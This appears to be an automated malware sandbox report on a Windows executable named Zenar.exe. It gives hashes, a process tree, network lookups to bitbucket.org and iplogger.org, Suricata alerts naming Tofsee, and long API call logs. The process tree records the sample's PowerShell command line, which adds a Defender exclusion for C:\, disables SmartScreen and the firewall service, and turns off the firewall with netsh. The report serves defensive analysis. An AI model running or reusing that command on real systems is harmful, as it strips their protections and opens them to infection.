Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 27, 2021, 8:15 a.m.	Sept. 27, 2021, 8:21 a.m.

Size	202.5KB
Type	PE32+ executable (console) x86-64, for MS Windows
MD5	`844b7e033c078ed67b52558b5d891741`
SHA256	`eff8a484eafd5ebdf57845e6a656793520bdddf5469ea4a95eaa578e8bca6c50`
CRC32	`87E29887`
ssdeep	`6144:xiqISqZfg//N7V8mIrf8y7ABqYWqjTf1ECB/N1:xz7zVRLix7ABwq/fmk3`
Yara	UPX_Zero - UPX packed file IsPE64 - (no description) PE_Header_Zero - PE File Signature

Zenar.exe "C:\Users\test22\AppData\Local\Temp\Zenar.exe"
1960
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
  2864
  - netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
    3008
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
bitbucket.org	A 104.192.141.1	104.192.141.1
iplogger.org	A 88.99.66.31	88.99.66.31

IP Address	Status	Action
104.192.141.1	Active	Moloch
164.124.101.2	Active	Moloch
88.99.66.31	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 104.192.141.1:443 -> 192.168.56.102:49166	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 104.192.141.1:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49165 -> 88.99.66.31:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 104.192.141.1:443 -> 192.168.56.102:49167	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49167 -> 104.192.141.1:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 104.192.141.1:443 -> 192.168.56.102:49168	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 104.192.141.1:443 -> 192.168.56.102:49172	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49172 -> 104.192.141.1:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 104.192.141.1:443 -> 192.168.56.102:49174	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 104.192.141.1:443 -> 192.168.56.102:49173	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.168.56.102:49173 -> 104.192.141.1:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49165 88.99.66.31:443	C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA	CN=*.iplogger.org	55:1e:13:99:46:1c:67:40:a3:48:7f:38:0d:16:e7:51:f4:c4:43:cb

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 27, 2021, 8:15 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 27, 2021, 8:16 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 27, 2021, 8:16 a.m.			0	0

Command line console output was observed (8 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFT console_handle: 0x00000000000000db	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: WARE\Policies\Microsoft\Windows\System console_handle: 0x00000000000000df	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFT console_handle: 0x00000000000000e3	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: WARE\Policies\Microsoft\Windows console_handle: 0x00000000000000e7	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: PSChildName : System console_handle: 0x00000000000000eb	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: PSDrive : HKLM console_handle: 0x00000000000000ef	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: PSProvider : Microsoft.PowerShell.Core\Registry console_handle: 0x00000000000000f3	1	1
WriteConsoleW Sept. 27, 2021, 8:16 a.m.	buffer: EnableSmartScreen : 0 console_handle: 0x00000000000000f7	1	1

Uses Windows APIs to generate a cryptographic key (48 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000042da70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a72000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a72000 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89940 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71cf0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71cf0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a71cf0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89ef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a190 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a120 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a3c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a3c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a3c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a8a3c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aacc80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aacc80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aace40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aace40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89e80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89e80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89e80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002a89e80 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aad0e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 27, 2021, 8:16 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002aad0e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 27, 2021, 8:15 a.m.		1	1	0

Performs some HTTP requests (2 events)

request	GET http://iplogger.org/1fbcs7
request	GET https://iplogger.org/1fbcs7

Allocates read-write-execute memory (usually to unpack itself) (50 out of 189 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002000000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002010000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1301000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1580000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1580000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1580000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1580000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1580000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1581000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1581000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1581000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1581000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef157e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00032000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002014000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00044000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00132000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00045000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00180000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00033000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00046000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
